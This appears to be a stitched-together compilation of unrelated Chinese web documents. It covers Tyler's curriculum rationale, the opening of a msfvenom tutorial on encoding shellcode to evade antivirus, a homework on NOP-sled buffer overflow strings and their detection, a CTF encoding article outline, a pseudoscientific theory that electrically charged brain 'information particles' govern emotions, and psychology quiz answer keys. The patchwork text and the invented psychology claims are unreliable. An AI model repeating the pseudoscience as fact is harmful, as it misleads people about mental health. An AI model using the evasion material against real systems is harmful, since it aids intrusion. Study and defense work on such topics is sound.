“泰勒原理”的基本内容是围绕四个基本问题的讨论展开的： 第一，学校应该达到哪些教育目标？ 第二，提供哪些教育经验才能实现这些目标？ 第三，怎样才能有效组织这些教育经验？ 第四，我们怎样才能确定这些目标正在得到实现？ 这四个基本问题可进一步归纳为“确定教育目标”、“选择教育经验”、“组织教育经验”、“评价教育计划”，这就是“泰勒原理”的基本内容。泰勒的研究，围绕着解决这些问题的方法和程序进行，他对于每个问题分别从教育的实际状况进行了分析，提出主要问题所在，然后进一步提出解决问题的思路和方法。 (一)，学校应该达到哪些教育目标？ 1．目标的三个来源 （1）对学习者自身的研究。 （2）对当代生活的研究。 （3）学科专家的建议。 2．两个筛选器 一是教育和社会哲学；二是学习心理学。 3．目标的陈述 仅仅有合理的目标是不够的，还必须把目标用恰当的方式表达出来。 （1）对已有陈述方式的批判 ①“把教育目标当作教师要做的事情来陈述”。如介绍进化论，介绍杜威的教育思想；讲解一元一次议程的概念； ②“列举一门或几门学程所涉及的课题、概念、概括或其它内容要素”。例如：一元一次 方程的概念、解法、应用；或以概括以形式来陈述，“物质既不能被创造，也不能被消灭”；“三角形的内角和等于180度”等。 ③目标的陈述过于笼统或概括。例如：“发展批判性思维”、“培养创新能力”、“培养学习兴趣”，“提高学生解决问题的能力”等等。 （2）二维图表陈述法 在分析批评常用的目标表述方式之后，泰勒提出了自己关于目标表述的主张：“最为有效地陈述目标的形式，是以这样的措辞来表达：既指出要使学生养成的那种行为；又言明这种行为能在其中运用的生活领域的内容。” (二)提供哪些教育经验才能实现这些目标？ 1．选择学习经验的五条原则 （1）给学生提供的学习经验必须既能使学生有机会实践该目标所隐含的行为，又能使学生有机会处理该目标所隐含的内容。（具有实践可能） （2）必须使学生在从事教育目标所隐含的行为的过程中获得满足。（使学生获得满足）（3）所期望的反应是在学生力所能及的范围之内的。（力所能及） （4）有许多特定的经验能够用来达到同样的教育目标。（多种经验→同一目标） （5）同样的学习经验通常会产生几种结果。（同一经验→多个目标） 2．有助于达到目标的学习经验所必备的四个特征： （1）有助于培养思维技能； （2）有助于获得信息； （3）有助于形成社会态度； （4）有助于培养兴趣。 (三)怎样才能有效组织这些教育经验？
msfvenom教程
Msfvenom 简介 相信很多人升级最新的msf后找不到自己曾经熟悉的msfpayload了（所以说喜欢收集shellcode是一件好事），没错我特么的也找不到了。其实可以use到自己要使用的payload，然后制作。但是也有人喜欢直接在终端里生产自己的shellcode。另外我想也找不到msfencode 了，msfencode是shellcode的编码器，准确的来讲如果你自己编写一个shellcode并不怎么需要一个编码器，杀软杀掉的概率不大，即使是msf生成的shellcode也很大概率不被杀掉（也许我没用啥杀软）所以以前我也觉得编码器并不一定用得到。 我经常理论的思考问题，而不会实际的搞破坏，所以直到后来我才直到编码器的重要，因为msf生成的shellcode经常是无法使用的！！需要编码器进行处理，这个处理包括加壳，过滤坏字符，迭代编译，甚至是控制字符串大小。当然编码器也有其他的功能。 先说说payload和encode的关系，不然我想有些人会感到困惑，msf中payload模块是用来制作shellcode，也即是大家理解的用来搞破坏的机器码，对于没有汇编基础的人，几乎很难写出一个实用的shellcode，以前我也无奈，感觉被拒绝在安全大门之外了，好在有msfpayload,成全了一颗爱捣蛋的心。当然我也在一直学习着呢！我相信非常多的人甚至都不知道shellcode在栈中是怎么工作的，但是却已经可以利用shellcode搞破坏了。我希望不要这样。我不喜欢这种容易获得又有巨大危险性的技术掌握在一个不能自控的人手里。比如前一阵子的Hacking team泄露事件中的flash0day，直接装一个msf产生的shellcode就可以使用了，而根本不需要对漏洞原理或者shellcode原理懂太多。 有点说多了，encode 是编码器，也是为payload设计的，因为杀软会根据shellcode的特征进行杀毒，因此我们需要encode给payload加壳，这里的理论知识和软件免杀原理相同，不过现在杀软有沙箱功能了，在内存阶段从行为判定进行查杀，所以有些shellcode 可能用编码器怎么编码也完蛋了，当然我胡乱吹的，因为我没有尝试过，有那时间我还不如去做饭。 总的来说msfvenom 结合了payload 和encode的功能。经过这两个模块生成的shellcode，要装在的exp中来使用才行，就像弹头安装在导弹上。下面说说具体的使用方式 中文翻译大概是这样（我从网上找的）： Options: -p,--payload
程序安全之作业
程序安全之作业 一、获取文件overflow.zip,提取Windows可执行文件 1、利用缓冲区溢出，绕过序列号检查 2、正确的序列号 二、如何有效的防范缓冲区溢出 根据缓冲区溢出攻击的步骤，可将常用的缓冲区溢出攻击检测技术分为以下3种类型：基于输入字符串的检测方法，基于保护堆栈中的返回地址的检测方法和基于监视系统调用的检测方法。 1、基于输入字符串的检测方法 对输入的字符串进行检测，确定其为溢出攻击字符串时采取阻拦措施，使攻击者无法注入攻击代码。一般有以下3种方法构建溢出攻击字符串。分别如下图4-1，图4-2，图4-3所示：
图4-1缓冲区大于ShellCode长度 图4-2缓冲区小于ShellCode长度 图4-3将ShellCode放在环境变量里 第1种溢出攻击字符串适用于缓冲区大于ShellCode长度的情况；第2种溢出攻击字符串一般用于缓冲区小于ShellCode长度的情况；第3种方法是将ShellCode放在环境变量里，是目前较为常用的方法。 在第1种和第2种类型的溢出攻击字符串中ShellCode前都加了若干的NOP指令，因为这2种情况下ShellCode的地址无法确定，但只要返回地址指向ShellCode前的任一条NOP指令，ShellCode就可以执行，大大增加了ShellCode执行的可能性。这些NOP指令称为sledge。其他单字节指令如AAA等也可构成sledge。因此缓冲区溢出攻击检测系统可以通过检查输入的字符串中是否含有大量NOP等可构成sledge的指令来判断此字符串是否是溢出攻击字符串。不过这种方法并不适用于检测第3种类型的攻击。但这3种类型的攻击字符串中都含有ShellCode。因此，确定出ShellCode的基本特征,如不含有“0x00”，含有某些特殊的系统调用等，然后利用人工智能、模式匹配、规则匹配等方法检查输入字符串中是否包含ShellCode也可检测出是否有缓冲区溢出攻击发生。这些检测都可以在入侵检测等外围防御系统中实现，优点是实现较为简单，不会增加被保护系统的开销；缺点是漏报率较高，无法检测出无明显特征的溢出攻击字符串。
简述泰勒原理的内容及其意义。
课程与教学论第一模块专题三作业 1. 简述泰勒原理的内容及其意义。 答：泰勒原理的内容：开发任何课程和教学计划都必须回答四个基本问题： （1）学校应该试图达到什么教育目标 （2）提供什么教育经验最有可能达到这些目标 （3）怎样有效组织这些教育经验 （4）我们如何确定这些目标正在得以实现 这四个问题可以进一步归纳为“确定教育目标”、“选择教育经验”、“组织教育经验”、“评价教育计划”。这就是泰勒原理的基本内容，它被称为“课程领域的主导范式”。 意义：“泰勒原理”倾向于把课程开发过程变成一种普适性的、划一性的模式，这种预设的、决定主义的课程模式弊端是显而易见的。 它遏制课程开发中的创造性；忽视不同学校实践的特殊性；教师在课程开发中的主体性、创造性得不到应有的尊重；学习者是被控制的对象，在课程开发和教育过程中被置于客体地位，其主体性不可避免地受到压抑；工具化的知识观与社会效用标准观，使课程扮演着社会适应及社会控制的手段之角色，而对社会文化的批判、改造及重建缺乏责任意识及使命感。 2. 简述课程研究的两大趋势。 答：一、从研究内容看，课程研究正在超越“课程开发”研究，走向“课程开发”研究与“课程理解”研究的整合。 １、反思课程研究的发展历程，“怎样科学有效地开发课程”一直是课程研究的主要问题。这种研究取向把课程观视为学校材料，课程研究即探究“价值中立的”课程开发的理性化的程序。也有时将这种研究取向称为“程序主义”。此种倾向在20世纪70年代以前占主导地位，以泰勒原理为代表，旨在提供一种一般性的、普遍性的课程开发原理。 2、进入20世纪70年代以来，课程研究的内容开始由研究课程开发为主转向以研究“如何理解”课程为主。这种研究取向把课程视为“符号象征”，课程研究的目的是理解符号所负载的价值观。 3、课程开发与课程理解是相辅相成的。课程开发与课程理解实际上是两种不同的课程事件，但又是内在统一的。课程开发过程包含着对课程意义的某种理解，并建立在这种理解
CTF中那些脑洞大开的编码和加密
CTF中那些脑洞大开的编码和加密 0x00 前言 正文开始之前先闲扯几句吧，玩CTF的小伙伴也许会遇到类似这样的问题:表哥，你知道这是什么加密吗？其实CTF中脑洞密码题(非现代加密方式)一般都是各种古典密码的变形，一般出题者会对密文进行一些处理，但是会给留一些线索，所以写此文的目的是想给小伙伴做题时给一些参考，当然常在CTF里出现的编码也可以了解一下。本来是想尽快写出参考的文章，无奈期间被各种事情耽搁导致文章断断续续写了2个月，文章肯定有许多没有提及到，欢迎小伙伴补充，总之，希望对小伙伴们有帮助吧！最后欢迎小伙伴来[博 客](https://https://www.wendangku.net/doc/1a9751385.html,/)玩耍:P(ps:由于写文章是用markdown，而论坛编辑器不支持markdown语法，虽然我已经尽力去调整对其字符，可是效果还是不尽人意，如果影响阅读理解可以去博客阅读:P) 0x01 目录 常见编码: 1.ASCII编码 2.Base64/32/16编码 3.shellcode编码 4.Quoted-printable编码 5.XXencode编码 6.UUencode编码 7.URL编码 8.Unicode编码 9.Escape/Unescape编码 10.HTML实体编码 11.敲击码(Tap code) 12.莫尔斯电码(Morse Code) 13.编码的故事 各种文本加密 换位加密: 1.栅栏密码(Rail-fence Cipher) 2.曲路密码(Curve Cipher) 3.列移位密码(Columnar Transposition Cipher) 替换加密: 1.埃特巴什码(Atbash Cipher) 2.凯撒密码(Caesar Cipher)
快乐心理学原理
快乐心理学原理： 【文章摘要】人类心理活动的生理基础是大脑中的“信息子”，即思维及心理活动之信息的生物分子载体。当信息子带正电时，与其相关的外界事物将具有正价值（好），相反，负电信息子使外界事物产生负价值(坏)，而电中性的信息子使外界事物具有中性或零价值（不好不坏）。正电信息子电能的不断增加会使主体对外界相关事物产生不同程度的兴趣爱好、欲望、癖好和上瘾等心理现象或心理障碍。反之，负电信息子电能的不断增加会使主体对外界相关事物产生不同程度的抑郁、焦虑和恐惧等心理障碍。此外，做梦、致幻、嫉妒、后悔、自杀、精神分裂症、涅槃、伦理道德、信仰、美、丑、香、臭等等心理现象都直接或间接与信息子的电能有关。改变信息子的电能就能简单、有效地减缓甚至根除各种心理障碍。 一、心理活动的大脑组件 现代科学表明，大脑是各种心理现象的物质基础，而且这些心理现象总是与大脑中各种信息的活动密切相关。但无论如何，这些信息的活动总是离不开一个的活动舞台。那么，这样的一个舞台的结构究竟是怎样的呢？它是由什么部件组成的呢？的确，由于心理世界是当今最神秘的科学堡垒，凭借目前现有的科技水平要在近期之内确切地揭开心理活动的大脑机制是不可能的。然而，根据心理活动表现出来的一些规律和特点，并在物理和化学的基础上，我们还是可以对心理活动的舞台结构极其运行机制的概貌进行一些科学的、合理的假设。 就如原子的结构与太阳系的结构有许多相似性一样，许多科学家们认为，人脑的工作原理与电脑也存在许多可比之处，只是前者比后者更加复杂罢了。众所周知，一部电脑要正常地工作，通常要求具备以下几个重要组成部分：1、键盘和鼠标；2、电脑中的磁盘；3、电脑中的信息；4、显示器； 5、主机（信息处理器）。其实，思维活动变化万端的人脑，其结构虽然复杂到难于想象的地步，但从其运作特点的来看，也大致具备以下几个重要的组成部分或组件：1、人体感官（五官）；2、大脑中的信息库；3、大脑中的信息子；4、大脑意识屏幕；5、大脑意识元件（意识）。接下来就让我们逐个探讨快乐心理活动舞台的这些组件和运行机制，以及它们与快乐心理发生的内在关系。 1、人体感官（五官） 人体的感官主要有主管视觉的眼睛、主管听觉的耳朵、主管嗅觉的鼻子、主管味觉的舌头和主管触觉的皮肤。它们的功能和作用是接受外部各种相关能量（如物理、化学、机械能量）的作用和刺激，然后，把这些能量转变为某种形式的（精神、心理）信息并将其储存在大脑信息库中。此外，它们还能够在外部能量的作用和刺激下把事先存储在信息库里的信息调到意识屏幕中为我们的意识感知，如回忆。从这种意义上说，人体五官的作用类似于电脑键盘上的数字键、字母键和鼠标。因为我们既可以通过键盘上的键和鼠标把外部的信息储存于电脑之中，也可以通过它们把电脑中事先储存的信息调到显示器中来让主机进行处理和编辑。 2.大脑中的信息库
心理学期末复习试题及答案完整
心理学期末复习试题及答案完整版 心理学基础试题及答案 第一章题目 一、单项选择题 1、心理现象分为（A） A、心理过程与个性心理 B、认知过程与个性心理 C、情感过程与个性心理 D、意志过程与个性心理。 2、心理过程包括（D） A、认识过程、情感过程、行为过程 B、知觉过程、情感过程、行为过程 C、感觉过程、知觉过程、意志过程 D、认识过程、情感过程、意志过程 3、个性心理特征是在（D）实践的基础上形成和发展起来的 A、认知过程 B、情感过程 C、意志过程 D、认知过程、情感过程、意志过程 4、（C）在深度上对心理学的基本理论问题进行细致研究 A、普通心理学 B、发展心理学 C、理论心理学 D、生理心理学 5、（B）在广度上研究各个社会领域内的心理 A、社会心理学 B、应用心理学 C、发展心理学 D、比较心理学 6、（F）是理论的心理学基础，主要研究心理学的基本原理与心理现象一般规律。 （E）是研究个体心理发生、发展规律的科学、 （D）是在实验室控制条件下进行研究工作的心理学、 （C）是研究个体和群体的社会心理现象的心理学分支、 （B）是研究心理现象和行为产生的以脑内的生理事件、生理基础的心理学分支，试图通过大脑为中枢神经系统的活动来解释心理现象、 （A）是研究动物行为进化的基本理论和不同进化水平的动物约各种行为特点的心理学分支 A、比较心理学 B、理论心理学 C、社会心理学 D、实验心理学 E、发展心理学 F、普通心理学 7、进一步探索研究在各个社会领域中心理活动的具体现象及其规律的心理学是（C） A、社会心理学 B、理论心理学 C、应用心理学 D、普通心理学 8、自然实验法的优点是（A） A、减少人为性,提高真实性 B、减少人为性,降低真实性 C、提高人为性,增加真实性 D、提高人为性,降低真实性 9、（C）的《生理心理学原理》一书被心理学界认为是心理学的独立宣言。 A、笛卡尔 B、洛克 C、冯特 D、缪勒
智慧树知到《心理学原理与应用》章节测试答案
智慧树知到《心理学原理与应用》章节测试答案第一章 1、（）被誉为心理学之父或心理学第一人。 A: 洛克 B: 冯特 C: 笛卡儿 D: 缪勒 正确答案：冯特 2、心理现象按照从动态到稳态的维度，可以分为（）。 A: 心理过程、心理状态和个性心理 B: 认知过程、情感过程、意志过程 C: 情感过程和个性心理 D: 意志过程与个性心理 正确答案：心理过程、心理状态和个性心理 3、人的个性差异主要表现在( )。 A:认识过程、情感过程、意志过程 B:能力、气质、性格 C:感知、记忆、思维、想象 D:个性倾向性、个性心理特征 正确答案：个性倾向性、个性心理特征 4、心理过程包括（）。 A:认识过程、情感过程、行为过程
B:知觉过程、情感过程、行为过程 C:感觉过程、知觉过程、意志过程 D:认知过程、情感过程、意志过程 正确答案：认知过程、情感过程、意志过程 5、在某项教学策略改革的实验中，教师的教学策略属于（）。 A:自变量 B:因变量 C:额外变量 D:无关变量 正确答案：自变量 第二章 1、脑干的主要的组成部分是（） A:小脑 B:延脑 C:脑桥 D:中脑 正确答案：延脑,脑桥,中脑 2、心理是脑的机能，脑是心理的器官，有了健全完整的大脑就一定会产生相应的心理现象。A:对 B:错 正确答案：错 3、脑神经一共有（）对。
A:10 B:12 C:13 D:14 正确答案：12 4、“谈虎色变”和“谈梅生津”都是（）的表现形式 A:无条件反射 B:第一信号系统的条件反射 C:第二信号系统的条件反射 D:条件反射 正确答案：第二信号系统的条件反射 5、中性刺激与无条件刺激在时间上的结合称为（） A:惩罚 B:强化 C:操作 D:联想 正确答案：强化 6、客观现实是心理的源泉。有了相同的客观刺激物的作用就一定能产生相同的心理现象。A:对 B:错 正确答案：错 第三章